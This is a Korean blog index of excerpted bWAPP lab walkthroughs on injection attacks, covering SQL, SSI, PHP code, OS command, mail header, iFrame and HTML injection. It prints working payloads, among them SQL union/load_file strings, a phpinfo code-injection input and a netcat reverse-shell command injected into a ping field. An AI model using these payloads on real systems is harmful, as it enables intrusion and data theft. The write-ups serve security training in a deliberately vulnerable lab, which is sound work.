전체 글 37

A1-Injection SQL Injection (POST/Search) 비박스(bWAPP)

SQL Injection이란? 웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다. 이번 글은 POST방식으로 요청을 받을 경우의 SQL Injection을 다룬다. 메인 페이지에는 인풋 박스에 영화 제목을 입력 시 영화의 정보가 나오는 것을 확인할 수 있다. 메소드 타입을 POST형식으로 보내기 때문에 URL에 요청하는 키와 벨류 값이 보이지 않는다. 버프 슈트로 잡고 인풋 박스에 iron을 입력하고 Search버튼을 클릭 시 title과 액션에 입력한 iron과 search를 담아서 보내는 것을 확인할 수 있다. 삽입 코드 : 'union select 1,load_file(..

취약점/Bee-Box 2019.12.11

A1-Injection SQL Injection (GET/Select) 비박스(bWAPP)

SQL Injection이란? 웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다. ※이전 글과 다르게 이번에는 select박스가 나와있고 검색 시에 한 줄로만 나오는 점이다. select박스에서 메뉴를 고른 후 Go버튼을 누르면 해당 영화의 정보들이 출력되는 기능을 하는 페이지이다. 또한 서버에 요청할 때 GET방식으로 URI에 정보를 담아서 보내는 특징이 있는 것을 확인할 수 있다. 삽입 코드 : order by 1# order by 2# order by 3# order by 4# order by 5# order by 6# order by 7# order by 8#//에러메..

취약점/Bee-Box 2019.12.09

A1-Injection SQL Injection (GET/Search) 비박스(bWAPP)

SQL Injection이란? 웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다. 메인 페이지는 찾을 영화를 검색하라는 인풋 박스가 나오고 Search버튼을 클릭 시 DB에 저장되어 있는 영화 제목이 출력되는 것을 확인할 수 있다. like문을 사용하여 요청한 문자열을 포함한 문자열을 찾는 방식으로 추측할 수 있다. 소스코드 확인 시 GET형식으로 title을 받아서 sql에 SELECT문을 사용하여 like % title%를 묻고 그 결과를 출력하는 것을 확인할 수 있다. "'"를 입력하여 오류 메시지가 출력되었고 오류 메시지에는 MySQL을 사용한다는 정보 노출까지 보인다..

취약점/Bee-Box 2019.12.08

A1-Injection Server-Side Includes (SSI) Injection 비박스(bWAPP)

SSI injection이란? HTML 페이지에 동적으로 생성한 페이지를 추가하는 SSI에 악의적인 코드를 삽입하여 서버의 파일을 추가, 삭제, 변경 등 명령을 할 수 있는 삽입 공격이다. SSI Injection 페이지 접근시 Firstname과 Last name을 입력하라는 페이지가 나온다 입력 시 Hello Firstname Lastname Your IP address is : 자신의 아이피 주소가 출력되는 걸 확인할 수 있다. 소스코드 확인 시 post로 firstname과 lastname을 받아 변수 $line에 저장 후 fput을 사용하여 ssii.shtml을 만들고 저장된 $line을 넣은 후 header를 ssii.shtml로 넣어주는 것을 확인할 수 있다. 입력되어 생성된 ssii.sht..

취약점/Bee-Box 2019.12.07

A1-Injection PHP Code Injection 비박스(bWAPP)

PHP Code Injection이란? 공격자가 서버 측 스크립팅 엔진에 PHP 코드를 삽입하여 스크립트를 실행시키는 취약점이다. 주로 eval() 함수를 호출하여 사용하는데 eval()함수는 문자(열)을 인자 값으로 받아 그대로 실행시키는 함수이다. This is just a test page, reflecting back your message...의 message부분을 클릭시 GET방식으로 message에 test값을 넣어 요청을 보내는 것을 확인할 수 있다. 소스코드 확인 결과 eval 함수를 사용하여 echo + message값;을 출력하는 것을 확인할 수있다. test;phpinfo(); message값에 test를 입력 후 ";"를 넣어 다음 실행할 PHP코드를 삽입하면 test 출력후 다음..

취약점/Bee-Box 2019.12.04

A1-Injection OS Command Injection - Blind 비박스(bWAPP)

OS Command Injection이란? 공격자가 서버에 임의의 운영 체제(OS) 명령을 실행하여 서버에 대한 정보를 획득하거나 데이터를 변조 및 삭제할 수 있는 웹 취약점이다. 페이지에 접근하면 자신의 IP주소를 입력하라는 창이 나오고 PING버튼을 누르면 골든 패킷을 캡처했냐는 문구가 나온다. 페이지의 소스코드 확인시 박스 안에 내용이 있을 경우 ping -c 1 "박스 내용" 명령어를 보내는 것을 확인하였다. nc -vlp 5656 칼리 리눅스에서 넷켓을 사용하여 5656 포트를 열었다. 192.168.37.129&&nc -vn 192.168.37.128 5656 -e /bin/bash 위 코드를 삽입하여 칼리리눅스에 접근하였다. (칼리 리눅스 IP : 192.168.37.128) 비박스에서 접근..

취약점/Bee-Box 2019.12.03

A1-Injection OS Command Injection 비박스(bWAPP)

OS Command Injection이란? 공격자가 서버에 임의의 운영 체제(OS) 명령을 실행하여 서버에 대한 정보를 획득하거나 데이터를 변조 및 삭제할 수 있는 웹 취약점이다. 페이지에 접근하면 위 사진과 같이 DNS lookup: 을 할 수 있는 페이지가 표시된고 인풋 박스에 URL을 넣으면 nslookup 명령어를 사용한 정보가 출력된다. nslookup www.nsa.go.kr 여기서 nslookup은 도메인 네임 서비스 (ex.www.google.com)의 호스트 IP주소를 찾아내는 명령어입니다. 소스코드를 열어보았을 때 target을 포스트로 받아서 "nslookup target"을 실행한 값을 출력하는 코드로 확인된다. (여기서 commandi()는 security_level에 따라 필터함..

취약점/Bee-Box 2019.12.02

A1-Injection Mail Header Injection (SMTP) 비박스(bWAPP)

Mail Header Injection이란? 공격자가 메시지에 추가 헤더를 삽입하여 메일서버가 의도한 것과 다르게 동작하도록 지시하는 것으로 이 페이지에서는 이메일 헤더에 cc(참조)나 Bcc(숨은 참조)를 추가하여 관리자에게만 보내는 메일을 다른 사람들에게 참조를 하여 메일을 보낼 수 있는 취약점이다. bWapp@mailinator.com으로 E-mail로 질문을 보내달라고 쓰여있다. 소스코드 확인시 아래와 같이 메일이 전송될 것을 예상할 수 있다. 받는 사람 - bWapp@mailinator.com 제목 - bWAPP - Mail Header Injection (SMTP) 내용 - Content : Name : 시큐렛 E-mail : trent@kakao.com Remark: Remark 내용 Gre..

취약점/Bee-Box 2019.12.01

A-1 Injection iFrame Injection 비박스(bWAPP)

iFrame이란? iFrame은 inline Frame이라고도 불리며 HTML문서안에 다른 웹문서나 컨텐츠등을 삽입할때 사용합니다. 공격자가 자신의 악의적인 행위를 하는 웹페이지를 iFrame을 통하여 삽입할 경우 사용자는 그대로 공격자의 공격에 노출되게 됩니다. bWAPP의 iFrmae Injection페이지에 접근하였는데 사이트의 robots.txt파일의 내용을 출력하고 Get방식으로 서버에 요청을 하는것을 확인할수있습니다. 페이지 소스보기를 이용하여 소스를 봤을때 URL의 파라미터 값들이 차례대로 들어와있는걸 확인할수있습니다. 파라미터 값을 변조하여 iFrame Injection을 실행해봅시다. vim /var/www/bWAPP/iframe_injection.html 위 코드로 bWAPP디렉토리에 ..

취약점/Bee-Box 2019.11.30

HTML Injection - Stored (Blog)

HTML Injection이란? HTML Injection(Stored)은 매개변수에 HTML 태그를 삽입하여 HTML 태그로 의도하지 않은 내용을 보여주거나 다른 사이트로 연결시킬 수 있다. Stored는 저장형이며 공격자가 악의적인 HTML 태그를 삽입한 글을 게시글에 저장하여 사용자가 게시글을 열람 시 스크립트가 실행된다. Reflect형과의 차이점은 반사형은 url로 유입되지만 저장형은 서버의 데이터베이스에 스크립트를 저장하여 게시글을 불러올 때마다 실행이 된다. 인풋 박스에 안녕하세요라고 입력후 Submit버튼을 클릭시 번호, 소유자, 시간, 내용이 출력되고 있다. 인풋박스에 태그를 삽입하여 요청 시 내용에 h1태그가 제대로 적용되는 것을 볼 수 d 있다. H1태그는 제목

취약점/Bee-Box 2019.11.29